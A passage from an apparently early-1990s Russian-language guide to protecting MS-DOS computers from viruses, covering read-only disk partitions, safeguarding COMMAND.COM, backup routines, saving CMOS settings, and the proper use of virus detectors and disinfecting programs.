исключаются, а сама программа может быть переименована. Автору известны случаи, когда разработчики отечественных коммерческих систем защиты программ от копирования предлагали потенциальным пользователям предусмотреть действия, вызывающие разрушение информации при запуске защищенной программы "не на том" компьютере. Остается надеяться, что на это предложение никто из разработчиков не клюнул. 10.2.2.2. Троянские компоненты в антивирусных программах Известно несколько случаев распространения вируса с помощью троянской версии антивирусной программы. 10.2.2.3. После покупки компьютера проверяйте содержимое винчестера "Опыт растет прямо пропорционально выведенному из строя оборудованию" Из законов Мерфи Все программное обеспечение, содержащееся на винчестере только что купленной ЭВМ, целесообразно рассматривать как новое. Поэтому при получении новой машины, если вы не собираетесь переформатировать винчестер, прежде всего протестируйте винчестер и все полученные дискеты на наличие вирусов. Кооперативы, перепродающие ПЭВМ, зарекомендовали себя одними из главных распространителей вирусов. Это связано с тем, что перед продажей компьютер часто используется как игровой автомат. Многие пользователи сообщали, что практически все программы на винчестере были заражены одним или, чаще, несколькими различными типами вирусов. При тестировании такого винчестера не забудьте загрузиться с заведомо чистой дискеты с операционной системой. Если у вас еще нет опыта работы с персо- нальными компьютерами, желательно пригласить специалистов со стороны. Получая болгарское программное обеспечение, будьте внимательны и осторожны: возможно некоторые программы заражены новыми типами вирусов. 10.2.3. Сегментация информации на винчестере Второй уровень защиты может быть основан на сегментации винчестера с помощью специального драйвера, обеспечивающего присвоение отдельным логическим дискам (разделам винчестера) атрибута READ ONLY, а также простейшую схему парольного доступа. При этом в "непотопляемые отсеки" (разделы с установленным атрибутом READ ONLY) можно записать значительную часть исполняемых программ, включая большинство трансляторов и утилит. В качестве такого драйвера можно применять различные программы. Автор рекомендует использовать Advanced Disk Manager, который не только позволяет разбить диск на разделы, но и организовать доступ к ним с помощью паролей. Кроме того, уровень обеспечиваемой им защиты от записи выше, чем других распространенных драйверов. Количество используемых разделов и их содержимое зависят от решаемых задач и объема винчестера. Для 20M винчестера можно использовать три-четыре раздела. При этом на логическом диске С, с которого выполняется загрузка, следует оставить лишь минимальное количество файлов (AUTOEXEC. BAT, COMMAND.COM, CONFIG.SYS, скрытые системные файлы и программы-ловушки, контролирующие свою контрольную сумму). Остальную часть винчестера следует разбить на зону трансляторов и системных утилит (также со статусом READ ONLY) и несколько разделов для отдельных пользователей (групп пользователей) с соответствующими ограничениями доступа. При этом для минимизации движения головок разделы пользователей можно расположить между разделом С (MS DOS) и разделом с трансляторами и утилитами. 10.2.4. Защита операционной системы от заражения "Если какая-нибудь неприятность может случиться, она случается" Из законов Мерфи Важным профилактическим средством в борьбе с файловыми вирусами является "затруднение им жизни" путем исключения значительной части загрузочных модулей из сферы их досягаемости. Этот метод, называемый сегментацией, был кратко рассмотрен в предыдущем разделе. Однако применительно к самой операционной системе сегментация настолько важна, что на ней стоит остановиться отдельно. При правильном размещении операционной системы и ряда утилит можно гарантировать, что после начальной загрузки операционной системы она еще не заражена резидентным файловым вирусом. Это создает настолько значительные удобства и преимущества, что для достижения этой цели стоит потратить время и силы на перекомпоновку винчестера, если это еще вами не сделано. Первой задачей, которую нужно выполнить при "вирусобезопасной" постановке операционной системы - это разместить ее в защищенном от записи разделе (например, разделе D). Следует отметить, что логический диск с операционной системой не должен быть слишком большим. Туда следует включать только саму операционную систему и некоторые "стабильные" утилиты (Norton Utilities, PC SHELL и т.д.). Вопрос о включении модулей трансляторов зависит от вашей склонности часто переходить от версии к версии и источников получения новых версий: общий принцип состоит в том, чтобы скомпоновать этот диск так, чтобы необходимость входить в систему с паролем, обеспечивающем возможность записи на этот диск, возникала как можно реже. Кроме того, новые полученные ути- литы нельзя включать в состав этого диска без предварительной тщательной проверки и прохождения "карантинного" режима хотя бы в течении месяца. Не стоит впадать из одной крайности в другую и стремиться "защитить все подряд" - это существенно затрудняет работу и в большинстве случаев сводит на нет защиту из-за частой работы в "открытом" режиме. Оптимальное количество исполняемых файлов, защищенных от записи, вряд ли должно превышать 20-30% от общего количества файлов. В качестве критериев можно использовать целесообразность подключения соответствующего каталога к PATH, а также степень стабильности данного программного продукта. При обычном размещении системных программ и утилит на диске C, помимо командного процессора, одними из первых обычно заражаются файлы, входящие в AUTOEXEC.BAT. Поэтому их тоже следует размещать в разделе винчестера, имеющего статус READ ONLY. Иногда вирусы заражают файлы IBMBIO и IBMCOM. Хотя обычно при этом операционная система теряет работоспособность, здесь есть нюанс, состоящий в том, что не рекомендуется (а с помощью DM и нельзя) присваивать диску С статус READ ONLY. Поэтому эти файлы остаются незащенными, и в качестве первой операции AUTOEXEC.BAT следует предусматривать подсчет их контрольной суммы. Это можно сделать с помощью ревизора или специализированной программы (например, VACINE, см. СП 1-2) или, наконец, обычной программы сравнения файлов, входящей в MS DOS (COMP или FC). В последнем случае копии следует разместить в защищенном от записи разделе. При использовании сторожа FluShot Plus следует обязательно вставить контрольные суммы для указанных файлов в соответствующий файл. 10.2.4.1. Стратегия защиты командного процессора Поскольку командный процессор является излюбленной мишенью для атаки файловых вирусов, то нужно одновременно оставить его в качестве "мишени" и в то же время не допустить использования зараженного командного процессора при перезагрузке системы. Очевидно, что эти требования выглядят как взаимоисключающие. Однако им можно удовлетворить, если "оригинал" командного процессора разместить на защищенном от записи диске, а после начальной загрузки скопировать его на виртуальный диск и установить соответствующее значение переменной COMSPEC. Для того, чтобы командный процессор в процессе начальной загрузки считывался из защищенного раздела в CONFIG.SYS, следует включить строку вида: SHELL = D:\DOS\COMMAND.COM SHELL = D:\4DOS\4DOS.COM @C:\4DOS.DAT Последняя строка предполагает использование "альтернативного" командного процессора 4DOS (читается - FOREDOS). Этот командный процессор особенно удобен для пользователей, работающих на PC AT или PS/2, и автор рекомендует индивидуализировать операционную систему путем его использования вместо стандартного COMMAND.COM (как известно, имеется по меньшей мере один вирус є Lehigh, ориентированный на заражение именно стандартного COMMAND.COM). Командный процессор 4DOS (автор использует версию 3.0 от 7.03.90) разработан американской фирмой J.P. Software (P.O. Box 1470, E.Arlington, MA 02174 USA, (617) 646-3975) и распространяется как Shareware. Он более удобен в работе, поскольку имеет диалоговый HELP по всем командам MS DOS и существенно расширенный командный язык, значительно облегчающий программирование BAT-файлов. Кстати, диалоговый HELP от 4DOS можно использовать и со стандартным командным процессором. Как и COMMAND.COM, командный процессор 4DOS.COM сегментирован и состоит из небольшой резидентной части 4DOS.COM, размером около 11К (в памяти остается всего 2.5K - меньше, чем у резидентной части COMMAND.COM) и оверлея 4DOS.EXE или 4DOS286.EXE, размером около 64К. Шансы, что специализированному вирусу удастся заразить этот командный процессор тем же методом, что и стандартный COMMAND.COM, сравнительно невелики. Вторым шагом является запись командного процессора на виртуальный диск и переназначение переменной COMSPEC. Для стандартного COMMAND.COM это выполняется путем включения в качестве первых строк AUTOEXEC.BAT двух следующих строк: set comspec=e:\command.com copy command.com e: В приведенных строках предполагается, что логический диск E является виртуальным. Использование виртуального диска для хранения командного процессора (в сочетании с заданием соответствующего значения параметра COMSPEC) не только превращает его в своего рода дрозофилу, заражение которой легко контролировать, а удаление которой с диска обеспечивается автоматически при перезагрузке MS DOS, но и ускоряет работу с некоторыми оболочками (например, Norton Commander). При этом целесообразно иметь специальную команду для периодического контролирования сравнения COMMAND.COM с эталоном (автор использует для этой цели специальную клавишу в пользовательском меню Norton Commander, вызываемом нажатием функциональной клавиши F2). В этом случае, если Вы во-время заметили изменение командного процессора, то не требуется выполнять его дополнительное удаление и замену - при перегрузке с эталонной дискеты он будет удален автоматически и вы сможете начать поиск причины заражения на заведомо "чистой" операционной системе. 10.2.4.2. Использование каталога BAT-файлов Связывание длинной цепочки каталогов по PATH, создает очевидные удобства при работе. В то же время такое решение имеет и два существенных недостатка. Во-первых, замедляется поиск запускаемой программы, а во-вторых, наличие соответствующей строки PATH создает файловым вирусам идеальные условия для поиска исполняемых файлов. Поэтому рекомендуется компромиссное решение: указывать в PATH только каталоги, расположенные на защищенных от записи логических дисках, а также корневой каталог и один дополнительный каталог с BAT-файлами. В последний удобно занести файлы, указывающие путь для исполняемой программы, расположенной на незащищенных от записи логических дисках. При этом для каждой часто используемой программы удобно составить отдельный BAT-файл, в котором обычно удается предусмотреть некоторые дополнительные удобства в виде установки каких-то типовых режимов, сокращенного набора групп параметров и другой сервис, уровень которого зависит от вашей собственной изобретательности. Это существенно упрощает и ускоряет процесс работы, поскольку типовые параметры набирать не приходится, время на просмотр длинной цепочки каталогов при поиске программы не теряется. В то же время, такое решение повышает безопасность, не давая вирусам легко и просто извлекать путь к жертвам из PATH. Автор много лет проработал на ЕС ЭВМ, где использование библиотеки процедур (SYS1.PROCLIB) было стандартной практикой, и был удивлен, перейдя на персональные ЭВМ, что здесь этот прием не является стандартным. 10.3. Архивирование "Инженер присел и отвернул кран, чтобы смыть мыло. Кран захлебнулся и стал медленно говорить что-то неразборчивое. Вода не шла..." И.Ильф, Е.Петров Пользователь компьютера, не имеющий "свежего" и надежного архива содержимого своего винчестера, находится во власти случая. Этот случай может подвернуться в виде срабатывания вируса, троянской программы или в виде внезапного отключения электроэнергии или, наконец, в виде воды, которую забыли на ночь закрыть на верхнем этаже. Пользователь, хранящий в компьютере ценную информацию, должен быть всегда настороже и как известный герой Ю.Семенова иметь "отходной вариант" заранее. Единственным надежным методом защиты ценной информации от превратностей судьбы является архивирование. При наличии ежедневных копий максимум, что может сделать вирус, это уничтожить результаты последнего дня вашей работы. Состояние человека, который в одну секунду потерял содержимое винчестера трудно описать словами. Только что машина работала, все файлы были на месте. А сейчас информация, на создание которой было потрачено столько труда, исчезла и резервной копии вообще нет. Это настоящее крушение и по сравнению с ним ситуация, приведенная в эпиграфе, є просто пустяк. И винить, кроме самого себя, в ней некого. А ведь достаточно было потратить полчаса, чтобы все было иначе. Но поздно. Поэтому создание архива это далеко не та вещь, которую можно отложить на потом. В сущности, это такая же часть работы пользователя, как программирование или ведение базы данных. Однако если по вопросам программирования или базам данных написаны горы литературы, то по вопросам архивирования практически нет и каждый пользователь создает собственную систему. Часто этой системой является отсутствие таковой. Ниже приводятся некоторые рекомендации, основанные на личном (и приобретенном достаточно дорогой ценой) опыте автора. 10.3.1. Используйте программы резервирования FAT и главного каталога в AUTOEXEC.BAT "Посмотрите! Вот он без страховки идет" В.Высоцкий Поскольку FAT и главный каталог являются наиболее уязвимыми управляющими блоками MS DOS необходимо предпринимать меры по их дополнительному резервированию. Такую возможность обеспечивает, в частности, программа Image из версии 5 утилит П.Нортона, вызов которой следует вставить в AUTOEXEC.BAT. Наряду с Image можно использовать более старую программу Mirror, входящую в пакет PC Shell. Она записывает копии указанных секторов в конец винчестера. Резервирование MBR, бутсектора, FAT и каталогов важно не только в плане защиты от вирусов, но и как метод страховки на случай непредвиденного стечения обстоятельств или чьих-то (в том числе, и собственных) действий. Периодически рекомендуется выгружать файлы, создаваемые этими утилитами на специальную дискету из "горячей коробки" (см. ниже). Это особенно важно, если при сжатии диска утилитой Norton Speed Disk задан режим перенесения всех каталогов в начало логического диска. 10.3.2. Используйте систему "неделя-месяц-год" Если имеется возможность, то желательно иметь несколько комплектов дискет для архива винчестера и вести циклическую запись на эти комплекты (например, для трех комплектов можно использовать "классический" принцип "неделя-месяц-год"). В этом случае различают главный архив, в котором хранится полный объем используемой информации и программного обеспечения, и текущие архивы, в которые заносятся только последние программные продукты и файлы. Текущих архивов может быть несколько, в зависимости от периодичности их обновления. Главный архив целесообразно обновлять примерно раз в месяц, а текущие архивы є по крайней мере раз в неделю и раз в неделю. Для создания главного архива рекомендуется использовать програм- му FastBack Plus (версию 2.1 или более позднюю). Она позволяет выгрузить 20М винчестер на 35 дискет по 360K или 12 дискет по 1.2M примерно за 20 мин. Следует отметить, что если на машине установлен дисковод 1.2M, то использование дискет 360K для создания архива неоправданно. Рекомендуется использовать как минимум формат 730K. Однако по возможности используйте дискеты 1.2M, поскольку в этом случае создание архива выполняется значительно проще и быстрее, чем на дискетах 730K. С учетом отсутствия на большинстве отечественных машин стриммеров, рекомендуемый размер раздела винчестера должен соответствовать определенному количеству коробок дискет архива. Например, раздел 20M очень удобен при создании архива на дискетах 1.2M, поскольку 12-14 дискет помещаются в одну коробку и неудобен при создании архива на дискетах 730K (требуется примерно 18 дискет). После создания главного архива рекомендуется провести оптимизацию винчестера, например, с помощью Norton Speed Disk из 5 версии утилит Нортона. Для создания недельного архива рекомендуется использовать архиватор PKZIP. При этом каждый архив в главном каталоге диска рекомендуется сворачивать в отдельный ZIP файл. Если размер ZIP файла на дискете превышает размер дискеты, то его можно разбить на отдельные фрагменты утилитами SPLITB (СП 2-6), а затем записать на несколько дискет. При нехватке дискет в недельный архив следует включать только каталоги, измененные за прошедшую неделю. И, наконец, ежедневный архив включает все тексты, измененные за рабочий день. Выключать компьютер, не сбросив измененные тексты на дискету, не рекомендуется. Следует помнить, что винчестеры портятся не только от вирусов. Вероятность того, что уйдя с работы сегодня, завтра вы обнаружите, что информация на винчестере не читается, не равна нулю даже для самых лучших винчестеров, а тем более для наиболее дешевых моделей, попадающих в нашу страну. Если какой-то каталог на винчестере используется лишь эпизодически или только определенным пользователем, то после каждого использования желательно все программы в нем сворачивать архиватором типа PKARC, поскольку заразить программу, находящуюся в архиве, практически невозможно. Очень часто процесс архивирования сводят к выгрузке с винчестера всех файлов. На самом деле архивированию подлежат и системные блоки, в частности MBR и бутсектор. Последние следует cкопировать на дискету с помощью программы DiskTool 5 версии утилит П.Нортона. Кроме того, следует копировать на дискету FAT и главный каталог с помощью утилиты Mirror из PC Shell или Image из 5 версии утилит П.Нортона. Эту операцию следует выполнять не реже одного раза в неделю, а если предполагается использование каких-то новых программ, то при загрузке ЭВМ. Как и архиваторы, программы резервирования FAT и каталогов важны не только в плане защиты от вирусов, но и как метод страховки на случай непредвиденного стечения обстоятельств или чьих-то (в том числе, и собственных) действий. В особенности они важны для программистов, работающих на ассемблере, которые при отладке часто находятся буквально в шаге от разрушения файловой системы. Поскольку дискеты являются в наших условиях дефицитом, то при архивировании информации ее целесообразно сжимать архиватором. Для дискет DS/DD наиболее подходящим форматом для записи архивов повидимому является формат 800K, который достаточно надежен и позволяет вдвое уменьшить количество используемых дискет. Наиболее удобными архиваторами являются FASTBACK PLUS, PKZIP и LHARC. В условиях дефицита дискет при использовании PKZIP и LHARC возникает дополнительная проблема оптимальной комбинации архивов на дискетах, чтобы более полно использовать емкость каждой дискеты. Для этой цели можно дополнительно упаковывать полученные архивы утилитой BACKUP MS DOS или более удобной и имеющей графический интерфейс утилитой PC-BACKUP из пакета PC SHELL (рекомендуется использовать версии, начиная с 5.5). Если дискет не хватает для создания полной копии винчестера, то следует исключить из архивирова- ния прежде всего большие пакеты (трансляторы, операционная система и т.д.), для которых имеются дистрибутивные копии. 10.3.3. В защиту "бумажной технологии" "То, что вы храните достаточно долго, можно выбросить. Как только Вы что-то выбросите, оно Вам понадобится" Из законов Мерфи Наряду с архивом на дискетах, следует вести часть архива на бумаге. Несмотря на отдельные заявления о наступлении эры "безбумажной технологии", роль этого старого доброго способа хранения информации сохраняется. Бумага все еще остается дешевым, надежным и удобным методом долговременного хранения информации, существенно превосходя по надежности магнитные носители, а по удобству анализа некоторых видов информации (например, дампов) - просмотр файлов на дисплее. Кроме того, наличие рабочего журнала является одним из показателей уровня квалификации программиста. Систематическое ведение журнала позволяет быстрее и полнее осваивать новые системы и избегать уже допущенных ранее ошибок. Необходимо систематически подшивать в специальную папку копии оглавлений, последние копии AUTOEXEC.BAT, CONFIG.SYS, список сбойных секторов винчестера (если таковые имеются), распечатки всех оглавлений диска, дампы бутсектора и FAT, замечания по работе машины, а также протоколы работы программы-ревизора. Кроме того, справочник по архиву дискет также целесообразно иметь в распечатанном виде, поскольку если с машиной что-то случится, считать его с винчестера может оказаться достаточно трудной задачей. Полезно, хотя и несколько трудоемко, вести отдельный архив распечаток исходных текстов разрабатываемых программ, в который подшивать все распечатки версий программ и другую аналогичную информацию. Наличие такого архива создает ряд удобств и является дополнительной гарантией сохранности информации. 10.3.4. Запомните параметры, хранящиеся в СMOS-памяти, пока еще не поздно "Столб дыма уносит новости богу..." Теофиль Готье Получив машину типа AT, сразу же запишите параметры CMOS, установленные с помощью процедуры SETUP. Для этого достаточно нажать комбинацию клавиш Ctrl-Alt-Esc. При этом на экран выдается таблица параметров, записанных в CMOS-памяти, из которых наиболее важным является тип установленного винчестера. Эта таблица невелика и ее содержимое легко переписать на обычную самоклеящуюся этикетку для дискеты, которую необходимо сразу же прикрепить к лицевой стороне корпуса компьютера. После этого обязательно распечатайте содержимое CMOS на принтере. Это проще всего сделать с помощью утилиты SYSINFO, из версии 5 утилит П.Нортона. Один экземпляр распечатки рекомендуется наклеить на папку с планом восстановления винчестера (см. ниже), а другой є на последнюю страницу инструкции к данной ЭВМ. Кроме того необходимо записать содержимое CMOS в файл с помощью программы DiskTool из 5 версии утилит П.Нортона, СMOSER (СП 9-90) или SAVECMOS А.Водяника (СП 2-3). Для некоторых типов BIOS содержимое отдельных байтов CMOS не выдается на экран, однако важно для правильной работы машины. Эти меры связаны с тем, что рано или поздно элемент, обеспечивающий питание CMOS-памяти, выйдет из строя. Кроме того, известно неcколько троянских программ, которые при запуске портят CMOS. Иногда содержимое CMOS уничтожается из-за ошибки в "нормальной" программе. Хотя элемент питания рассчитан на несколько лет, опыт показывает, что средняя продолжительность жизни CMOS обычно не превышает нескольких месяцев. Если содержимое CMOS потеряно, то при отсутствии точных данных о типе установленного винчестера возникает ряд очень неприятных проблем, когда значение некоторых параметров приходится устанавливать экспериментально. Это особенно трудно, когда на машине установлен нестандартный (например, трехдюймовый) винчестер. 10.3.5. Переписывая программы, различайте эталонную и рабочую копию Дистрибутивные эталонные версии рекомендуется хранить отдельно в архивированном виде. Если дисковод обеспечивает формат 720К, то на одну дискету обычно входит три архивных "образа" 360К дискет. Новая версия архиватора PKARC (PKZIP) позволяет рекурсивно сворачивать подкаталоги, тем самым делая рассматриваемый вид хранения более привлекательным. При работе с Norton Commander рекомендуется определить для файлов с расширениями ZIP, ARC, и LZH вызов архиватора в режиме выдачи на экран справки с архива или вызов диалоговой оболочки для соответствующего архиватора (SHEZ, NARC и др.). Передавая программы, копируйте дистрибутивные, а не рабочие копии. В нынешних условиях это долг вежливости по отношению к тому, кому переписывается программное обеспечение. Храните справки с дистрибутивной копии для сравнения. Переписывая программы, старайтесь копировать дистрибутивные версии, а не рабочие копии, хранящиеся на винчестере. Обязательно отпечатайте справку с архива с контрольными суммами. Очень полезно вести каталог используемых программ на dBase или какой-то аналогичной системе. За счет более точной информации о состоянии архива можно значительно уменьшить объем еженедельного архивирования и, тем самым, сэкономить время и силы. 10.4. Методика применения средств защиты Методика применения средств защиты предполагает их наличие и желание ими пользоваться. К сожалению, часто можно констатировать отсутствие как первого, так и второго из этих условий. Спектр отношения пользователей к антивирусным программам колеблется от полного равнодушия до страстного коллекционирования. Однако наличие антивирусных программ является только необходимым условием. Важно не только иметь последние версии антивирусных программ, но и систематически ими пользоваться. К новым антивирусным средствам, полученным "обычным" путем следует относиться с такой же осторожностью, как и ко всем остальным программам. Антивирусные средства, не снабженные средствами самоконтроля целостности, могут оказаться зараженными. Кроме того, изредка встречаются троянские версии антивирусных средств. Ранее уже упоминались троянские версии сторожа FluShot и полифага Aidstest. 10.4.1. Типичные ошибки Как уже указывалось, самой грубой и распространенной ошибкой при использовании персональных компьютеров является отсутствие надлежащей системы архивирования информации. Никакие средства защиты не заменят надлежащей организации ведения архивов. Другой грубой ошибкой является запуск полученной программы без ее предварительного анализа на зараженность и без установки максимального режима защиты винчестера с помощью ADM и запуска резидентного сторожа. Запуск программы является в современных условиях далеко небезопасной операцией и рисковать содержимым винчестера из-за чрезмерного любопытства, наверное, не стоит. Следует также обратить внимание на ситуацию, характерную для школ и вузов. Поскольку у студентов обычно мало дискет, то им приходится запускать отдельные программы (например, игровые) с дискет своих товарищей. Эта ситуация особенно характерна для вузовских "залов персональных ЭВМ". При этом может произойти заражение одной из программ или бутсектора, если соответствующий компьютер оказался зараженным. Поэтому следует всегда защищать дискеты от записи, если они используются для считывания программ на нескольких компьютерах. Снимать защиту от записи стоит только на время, необходимое для обновления содержимого дискеты. Новые программы по возможности следует записывать на новые дискеты, не смешивая их сразу со старыми, проверенными программами. При неправильном или неумелом использовании антивирусные программы могут сами в ряде случаев становиться источником проблем. Имеется несколько типичных ошибок при применении антивирусных средств. Наиболее распространенной из них является запуск антивирусных программ (чаще всего, фагов) на зараженном резидентным вирусом компьютере. Конечно, сейчас создатели большинства качественных антивирусных средств предусматривают такую возможность и анализируют память компьютера перед началом работы, однако такая методика эффективна, в основном, против уже известных вирусов и может не сработать на каком-то новом. Поэтому следует особо подчеркнуть основной "гигиенический" принцип компьютерной вирусологии: ВСЕ ДЕЙСТВИЯ ПО ИССЛЕДОВАНИЮ "ПОДОЗРИТЕЛЬНОГО" ИЛИ ЗАРАЖЕННОГО КОМПЬЮТЕРА СЛЕДУЕТ ВЫПОЛНЯТЬ ТОЛЬКО НА ПРЕДВАРИТЕЛЬНО ЗАГРУЖЕННОЙ С ЗАЩИЩЕННОЙ ОТ ЗАПИСИ ЭТАЛОННОЙ ОПЕРАЦИОННОЙ СИСТЕМЫ И ИСПОЛЬЗУЯ ТОЛЬКО ПРОГРАММЫ, ХРАНЯЩИЕСЯ НА ЗАЩИЩЕННЫХ ОТ ЗАПИСИ ДИСКЕТАХ. Выполнение действий по анализу и восстановлению на зараженной операционной системе является грубой ошибкой и может иметь катастрофические последствия. В частности, при этом могут быть заражены остальные, еще незараженные, программы. Например, при резидентном вирусе RCE-1800 (Dark Avenger) запуск фага, не рассчитанного на данный вирус, приведет к заражению всех проверявшихся фагом загрузочных модулей, поскольку вирус RCE-1800 перехватывает прерывание по открытию и чтению файлов и при работе фага будет заражать каждый проверяемый фагом файл. Второй типичной ошибкой является выполнение перезагрузки системы при наличии "защелкнутой" дискеты в дисководе А. При этом BIOS делает попытку загрузиться именно с этой дискеты, а не с винчестера и, в результате, если дискета заражена бутовым вирусом, происходит заражение винчестера. Третьей распространенной ошибкой является запуск "батареи" фагов. Очевидно, что прогон десяти фагов, предназначенных для вируса С-648, не излечит ни одного файла, зараженного, скажем, вирусом RСЕ-2890. В данном случае следует придерживаться принципа "лучше меньше, да лучше" и запускать средства защиты, предварительно определив, хотя бы ориентировочно, с каким типом вируса пришлось столкнуться. Обычно для определения типа вируса достаточно запустить батарею полидетекторов (которая может включать и фаги, настроенные на режим детектирования), а затем просмотреть дамп (с помощью PCTools или Norton Utilities) одной или нескольких зараженных программ. Четвертой типичной ошибкой является чрезмерная доверчивость к разработчикам антивирусных средств. Хотя разработкой антивирусных средств обычно занимаются высококвалифицированные программисты, не следует думать, что созданные ими программы безупречны. Как и всякие программы, они содержат ошибки, причем ситуация усугубляется тем, что те их части, которые относятся к самым новым вирусам и тем самым представляют наибольшую ценность, часто бывают написаны наспех, в условиях острейшего дефицита времени. Поэтому следует считать, что на вашей системе выполняется отладка этих новых частей, которая как и всякая отладка, может иметь негативные последствия как для отдельных файлов, так и для файловой системы в целом. Если у вас нет свежего архива, то запуск любой антивирусной программы на всю файловую систему становится потенциально опасной операцией. Это относится прежде всего к фагам, выполняющим "хирургическое вмешательство" в программы. Известны случаи, когда фаг принимал один вирус за другой и все "вылеченные" программы оказывались неработоспособными. 10.4.2. Методика применения детекторов Детекторы, рассчитанные на конкретные вирусы, также можно рассматривать как специализированные программы-ревизоры, однако качество обеспечиваемого ими анализа вызывает сомнения и они должны контролироваться другими методами, в частности, с помощью глобального контекстного поиска. Следует отметить, что наиболее удобны детекторы, обнаруживающие не один, а целый ряд распространенных вирусов (полидетекторы). Имеется два основных типа полидетекторов: с фиксированным набором сигнатур и переменным набором. Детекторы с фиксированным набором сигнатур, в общем случае, эффективнее полидетекторов с переменным набором. Обычно такие детекторы являются составной частью полифага. Однако имеется и "чистый" полидетектор є SCAN. Текущая (на момент написания данной работы) версия полидетектора SCAN детектирует более двухсот вирусов и их разновидностей (имеется и резидентная версия, проверяющая файлы при загрузке - SCANRES). Качество детектирования є невысокое (имеется много ложных срабатываний). Большинство используемых данным полидетектором сигнатур приведено в прил.1 и 2. Среди полидетекторов, входящих в полифаги, следует отметить детектор, встроенный в полифаг TNTVIRUS. В отличие от полифага, являющегося коммерческим продуктом, полидетектор входит в распространяемую бесплатно демонстрационную версию. Эта громоздкая (более 100К) программа имеет неплохой турбоинтерфейс и детектирует, по данным его авторов (впрочем, вызывающих сомнения) более ста вирусов. Качество детектирования следует оценить как весьма среднее (в большинстве случаев используется обычный контекстный поиск). Многие из используемых сигнатур приведены в прил.1 и 2. За исключением интерфейса и количества сигнатур данный полидетектор уступает аналогичным отечественным программам по количеству ложных срабатываний и качеству распознавания наиболее распространенных в нашей стране вирусов. Из полидетекторов, встроенных в отечественные полифаги наиболее интересен режим детектирования, обеспечиваемый полифагом Kxx Е.Н.Сусликова и полифагом AV И.Сысоева. Последний обнаруживает порядка 40 вирусов, являясь при этом самой маленькой (менее 20К) и быстрой программой такого рода. Как уже указывалось, программы этого типа представляют наибольший интерес как средство входного контроля нового программного обеспечения, в особенности, поступающего без контрольных сумм. Второй тип полидетекторов более интересен, поскольку фактически представляет собой системные программы общего применения, которые можно использовать не только для поиска вирусов, но и во всех случаях, когда нужно найти все файлы, содержащие хотя бы одну из заданной группы текстовых строк (ключевых слов). Набор строк для поиска обычно задается в виде специального файла. Этот тип полидетекторов наиболее полезен при обнаружении какого-то нового, еще неизвестного, вируса. Первое, что нужно сделать в этом случае это определить сигнатуру для поиска. Надежнее всего использовать для этой цели трассировку зараженной программы с помощью отладчика. Определив сигнатуру, можно быстро выявить все зараженные программы, и тем самым, прекратить дальнейшее размножение вируса. Имеется ряд программ этого типа (VL, VIRSCAN, NEADET). Например, программа VL (прил.5) обеспечивает поиск в поддереве или файле до 50 строк длиной до 15 символов. Строки задаются пользователем в текстовом или 16-ричном формате. Дамп программы, в которой найдена строка, можно просмотреть на экране. Программа NEADET, написанная И.В.Суворовым, позволяет использовать в качестве входных данных приведенные в прил.1-4 таблицы и специальный алгоритм быстрого поиска строк. Дамп программы, в которой найдена строка, можно просмотреть на экране. 10.4.2.1. Использование Norton Utilities и PCTools как универсальных детекторов вирусов Как уже указывалось, обеспечиваемая PCTools и Norton Utilities возможность выполнения контекстного поиска как по отдельным файлам, так и по диску в целом, является полезным и надежным инструментом выявления зараженных файлов. В особенности полезна возможность выполнения глобального контекстного поиска по диску в целом. При правильном выборе строки для контекстного поиска этот способ является хотя и довольно медленным, но исключительно надежным методом определения всех зараженных вирусом файлов. Следует отметить, что Norton Utilities выполняет контекстный поиск примерно вдвое быстрее, чем PCTools. 10.4.2.2. Поиск текстовых сигнатур При поиске Т-сигнатур бывает полезна программа TS из версии 4.5 пакета утилит П.Нортона. Она позволяет искать заданный текст в файле или по всему диску, например: TS C:\*.COM vacsina /S /LOG TS C:\*.EXE eddie /S /LOG В программе можно использовать ряд ключей: /LOG - печатать или выводить результаты в файл; /S - просматривать также и подкаталоги; /T - выводить только окончательные результаты; /D - искать по всему диску (отменяет /S); /E - искать по стертым файлам; /CS - различать малые и большие буквы. 10.4.3. Методика применения фагов Следует отметить, что программы-фаги, обеспечивающие возможность восстановления исходного состояния программы, зараженной вирусом, хотя и являются наиболее популярным типом антивирусных программ, не являются основным средством защиты от вирусов. Наблюдаемое сейчас повсеместная погоня за последними версиями фагов, не совсем оправдана. Основные усилия должны быть направлены на предупреждение заражения (грамм профилактики стоит килограмма лекарств). Отметим, что программы, которые мы для краткости называем "фагами", по сути представляют собой комбинацию типа "детектор + фаг". Поэтому при их работе возможны как ошибки, связанные с несовершенством детектора, так и ошибки при "выкусывании" вируса из программы. Для фага неверное "выкусывание" вируса из зараженной программы ("больной умер на операционном столе") может быть обусловлено как ложным срабатыванием детектора, так и недостаточным учетом возможных вариантов заражения программы. При этом фаг уничтожает работоспособную программу (хотя с этим утверждением можно не соглашаться, но по мнению автора зараженная программа все же лучше, чем никакая). Поэтому, при применении фагов для файловых вирусов целесообразно разделять процесс диагностирования и процесс "лечения". Кроме того, распространяющиеся сейчас комплексные фаги на несколько вирусов (полифаги) являются несколько менее удачной идеей, чем полидетекторы, поскольку жесткая привязка фага к конкретному "встроенному" детектору делает его "заложником" качества последнего, а отсутствие параметров настройки на вирус - чувствительным к мутациям вируса, затрагивающим используемую сигнатуру. Единственным фагом, где была сделана попытка преодолеть этот недостаток, является полифаг NEATFAG В.В.Пономаренко. В нем фаг на каждый вирус выполнен в виде отдельного загружаемого модуля, что позволяет добавлять модули, "выкусывающие" новые вирусы отдельно, без переделки уже имеющейся части фага. Однако возможность замены или добавления сигнатур в существующей версии NEATFAG отсутствует. Процесс дезактивации рекомендуется разделить на ряд этапов c тем, чтобы не повредить файловую систему во время ее выполнения. Можно рекомендовать следующие этапы указанного процесса: загрузиться с защищенной от записи дискеты, используя "холодную" (кнопкой RESET или выключением питания), а не "теплую" (нажатием клавиш CTRL-ALT-DEL) перезагрузку; найти хотя бы одну зараженную программу с помощью батареи детекторов; проверить правильность идентификации типа вируса, визуально просмотрев дамп зараженной программы; составить список зараженных программ и распечатать этот список; выгрузить зараженные программы на дискету и обработать их фагом; проанализировать результаты выкусывания; проверить работоспособность "леченных" программ и выгрузить их. Если COMMAND.COM заражен, то используйте его размер и дамп для определения типа вируса. Если нет, то поиск зараженной программы можно выполнить разными способами, но обязательно перегрузившись с защищенной дискеты. Если используется программа-ревизор и ведется архив каталогов файловой системы, то целесообразно воспользоваться им. Если нет, то проще всего использовать рекомендованную выше батарею полидетекторов (только перегрузившись с защищенной дискеты !), с помощью которой возможно удастся определить зараженные или хотя бы "подозрительные" файлы (некоторые детекторы используют для этой цели эвристические приемы). Составьте список зараженных программ с помощью детектора и проверьте его полноту глобальным контекстным поиском (см. ниже). Все зараженные программы выгрузите на 